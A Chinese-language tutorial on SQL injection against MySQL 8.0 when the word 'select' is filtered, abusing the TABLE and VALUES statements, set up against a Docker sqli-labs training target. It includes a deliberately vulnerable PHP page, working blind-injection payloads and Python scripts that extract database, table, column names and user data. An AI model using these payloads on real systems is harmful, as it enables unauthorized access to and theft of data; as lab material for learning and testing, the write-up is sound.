MYSQL8.0特性—無select注入

SecIN發表於2022-05-10

前言

在mysql8.0之後又有了一個新特性,可以在過濾select的情況下,爆出我們需要的表名、欄位、資料。

環境配置

docker配置mysql

環境是基於8.0.19之後的,phpstudy最高才到8.0.12,所以需要用docker來配置

docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

如果執行時出現以下錯誤,則是系統自啟了mysql佔用了3306埠

Error starting userland proxy: listen tcp4 0.0.0.0:3306: bind: address already in use.

這時候就需要先結束mysql程式

sudo service mysql stopdocker ps -a            //剛才雖然報錯,但已經啟動了一個docker環境 需要檢視程式號 docker rm 程式號         //結束程式docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

之後便可進入docker環境中的mysql

docker ps
docker exec -it e33fc8311fd7 /bin/bash  //e33fc8311fd7 為程式號
//進入mysql
mysql -uroot -p123456
//執行ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';flush privileges;

搭建sql靶場

sql注入靶場

cd vulstudy/sqli-labs預設為80埠會與apache衝突,所以可以改成8082docker run -d -p 8082:80 c0ny1/sqli-labs:0.1        //c0ny1/sqli-labs:0.1要根據docker檔案修改

配置好後進入容器,修改配置檔案db-creds.inc,

docker psdocker exec -it b7291beb46ba /bin/bash

先安裝vim命令

sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim

配置db-creds.inc

cd /app/sql-connections/vim db-creds.inc

wKg0C2JxHAaAdbWyAAA8PaPhvM0843.png

修改less-1原始碼

cd /app/Less-1vim index.php

wKg0C2JxHeaATGTAAD9duyrbgs233.png

<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables if(isset($_GET['id']))
{
$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity function blacklist($id){
    $id= preg_replace('/select/i',"", $id);    return $id;
}

$id = blacklist($id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);    if($row)
    {    echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];    echo "<br>";    echo 'Your Password:' .$row['password'];    echo "</font>";
    }    else 
    {    echo '<font color= "#FFFF00">';
    print_r(mysql_error());    echo "</font>";  
    }
}    else { echo "Please input the ID as parameter with numeric value";}?></font> </div></br></br></br><center><img src="../images/Less-1.jpg" /></center></body></html>

配置完成後重啟環境

exitdocker psdocker restart b7291beb46ba

wKg0C2JxHfKAMCysAACFGH3F93A439.png

訪問配置成功

wKg0C2JxHiWAQr8LAAFhZRgR5hk835.png

這裡其實也可以透過find / -name db-creds.inc命令查詢配置檔案,直接修改

wKg0C2JxHjKAaNm4AACP12O1bT8047.png

前置知識

在mysql8之後,多了兩個新的用法table,value

table

MySQL :: MySQL 8.0 Reference Manual :: 13.2.12 TABLE Statement

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE 語句在某些方面的作用類似於 SELECT。給定一個名為 的表的存在,以下兩個語句產生相同的輸出:t

TABLE users;
等於SELECT * FROM users;

wKg0C2JxHjAelZuAADNVJMifY8044.png

區別

1.TABLE始終顯示錶的所有列
2.TABLE不允許對行進行任意過濾,即TABLE 不支援任何WHERE子句

values

MySQL :: MySQL 8.0 Reference Manual :: 13.2.14 VALUES Statement

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:    ROW(value_list)[, ROW(value_list)][, ...]

value_list:    value[, value][, ...]

column_designator:
    column_index

VALUES是MySQL 8.0.19中引入的DML語句,它以表的形式返回一組一行或多行。換句話說,它是一個表值建構函式,也用作獨立的 SQL 語句。

mysql> VALUES ROW(1,2,3);
+----------+----------+----------+| column_0 | column_1 | column_2 |+----------+----------+----------+|        1 |        2 |        3 |+----------+----------+----------+1 row in set (0.00 sec)


mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8);
+----------+----------+----------+| column_0 | column_1 | column_2 |+----------+----------+----------+|        1 |       -2 |        3 ||        5 |        7 |        9 ||        4 |        6 |        8 |+----------+----------+----------+3 rows in set (0.00 sec)

values也可以結合union使用,判斷列數和進行注入

mysql> select * from users where id = 1 union values row(1,2,3);
+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | Dumb     | Dumb     ||  1 | 2        | 3        |+----+----------+----------+2 rows in set (0.00 sec)

利用方式

爆資料庫

table information_schema.schemata;# 列出所有資料庫資訊

wKg0C2JxHlAdTLZAADShfTGksM523.png

這裡可以看到第一列資料為def、第二列資料為資料庫名security,可以用以下方式進行判斷

http://192.168.199.155:8082/Less-1/?id=1' and  (table information_schema.schemata limit 4,1)>=('def','0',3,4,5,6)--+

當為s時正常回顯

wKg0C2JxHnSAFtqkAACZLG02kKU682.png

但當改為s的下一位t時,回顯消失,由此也可以判斷出資料庫的第一位為s,以此類推可以爆出資料庫名稱security

wKg0C2JxHnQSUAACQCjikpVU300.png

這裡也可以用我寫好的指令碼來跑庫名(指令碼能力偏弱,可能存在很多問題 望師傅們指正)

import requests

url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100):
    m=32
    n=127
    while 1:
        b = 1
        mid=(m+n)//2
        payload="?id=1' and  (table information_schema.schemata limit 4,1)>=('def','{}',3,4,5,6)--+".format(a+chr(mid))
        r=requests.get(url=url+payload)        #print(payload)
        if "Dumb"  not in r.text:
            n=mid        else:
            m=mid        if(chr(mid)=="~" or chr(mid)=="+"):
            b=0
            break
        if(m+1==n):
            a+=chr(m)
            print(a)            break
    if(b==0):        break

當然這裡如果只是過濾了select並且能回顯的話用-1 union values row(1,database(),3)--+就完全可以查出資料庫名稱(這裡不行)

,除此外用concat(1,database(),3)跑常規盲註指令碼也是可以的,畢竟爆資料庫名沒有必要一定用select

爆表名

table information_schema.tables; # 列出所有表的資訊

這條命令會列出所有資料庫中的表,並且由於table不能用where,所以就需要我們自己先去找對應資料庫的位置,除此外information_schema.tables共有21列,所有記錄的TABLE_CATALOG的值都是def

wKg0C2JxHp2ADW2AABUu8Ds1Sw049.png

這裡還是寫了一個指令碼來跑對應的列值,一個payload匹配的話很容易匹配錯誤,所以這裡採用兩種判斷方式一起進行來增加成功率(range的值可以根據需要修改)

import requests

url="http://192.168.199.155:8082/Less-1/"for i in range(300,330):
        payload1="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit {},1)--+".format(i)
        payload2="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit {},1)--+".format(i)
        r1=requests.get(url=url+payload1)
        r2=requests.get(url=url+payload2)
        #print(payload)        if "Dumb"  in r1.text and "Dumb"  in r2.text:            print(i)

這裡跑出322-325是關於資料庫security的,之後就可以爆表名了(指令碼與跑資料庫的基本相同就改了個payload)

import requests

url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100):
    m=32
    n=127
    while 1:
        b = 1
        mid=(m+n)//2
        payload="?id=1' and ('def','security','{}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 322,1)--+".format(a+chr(mid))
        r=requests.get(url=url+payload)        #print(payload)
        if "Dumb"  not in r.text:
            n=mid        else:
            m=mid        if(chr(mid)=="~" or chr(mid)=="+"):
            b=0
            break
        if(m+1==n):
            a+=chr(m)
            print(a)            break
    if(b==0):        break

分別跑出322-325的表名users,emails,uagents,referers

爆欄位

table information_schema.columns;# 列出所有表的資訊

列出所有表的資訊,所以就需要找到對應資料庫,與表名的那幾條資料,除此外information_schema.columns表有22列,所有記錄的TABLE_CATALOG都是def

wKg0C2JxHqqAQUPAABj9nvb24I522.png

跟之前一樣還是指令碼跑對應的列號,770-772

import requests

url="http://192.168.199.155:8082/Less-1/"for i in range(1,3430):
        payload1="?id=1' and ('def','security','users','0','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) <=(table information_schema.columns limit {},1)--+".format(i)
        payload2="?id=1' and ('def','security','users','z','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) >= (table information_schema.columns limit {},1)--+".format(i)
        r1=requests.get(url=url+payload1)
        r2=requests.get(url=url+payload2)        if "Dumb"  in r1.text and "Dumb"  in r2.text:            print(i)

判斷完列號後,直接跑欄位

import requests

url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100):
    m=32
    n=127
    while 1:
        b = 1
        mid=(m+n)//2
        payload="?id=1' and ('def','security','users','{}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 770,1)--+".format(a+chr(mid))
        r=requests.get(url=url+payload)        #print(payload)
        if "Dumb"  not in r.text:
            n=mid        else:
            m=mid        if(chr(mid)=="~" or chr(mid)=="+"):
            b=0
            break
        if(m+1==n):
            a+=chr(m)
            print(a)            break
    if(b==0):        break

由於linux列名忽略大小寫問題,所以這裡爆出的欄位會有些大小寫不一:id,username,password

爆資料

由於環境問題爆的沒有那麼準確,就比如第一個值是1,當爆到0後就該停止,但時候當迴圈到字母時,由於字母解析問題會將單個字母當做0來處理,就造成了資料冗餘(payload中三個回顯位的位置,代表id,username,password,當爆完id後就可爆username,其次password)

import requests

url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100):    m=32
    n=127
    while 1:
        b = 1
        mid=(m+n)//2
        payload="?id=1' and ('{}','',1) <= (table security.users limit 0,1)--+".format(a+chr(mid))
        r=requests.get(url=url+payload)        print(payload)        if "Dumb"  not in r.text:
            n=mid        else:            m=mid        if(chr(mid)=="~" or chr(mid)=="+"):
            b=0
            break
        if(m+1==n):
            a+=chr(m)            print(a)            break
    if(b==0):        break

除此外當我們得到表名其實也可以透過select * from users where id =1 union table users;這種方式來獲取其中的資料

mysql> select * from emails where id =1 union table emails ;
+----+------------------------+| id | email_id               |
+----+------------------------+
|  1 | Dumb@dhakkan.com       ||  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    ||  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   ||  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   ||  8 | admin@dhakkan.com      |
+----+------------------------+
8 rows in set (0.00 sec)


相關文章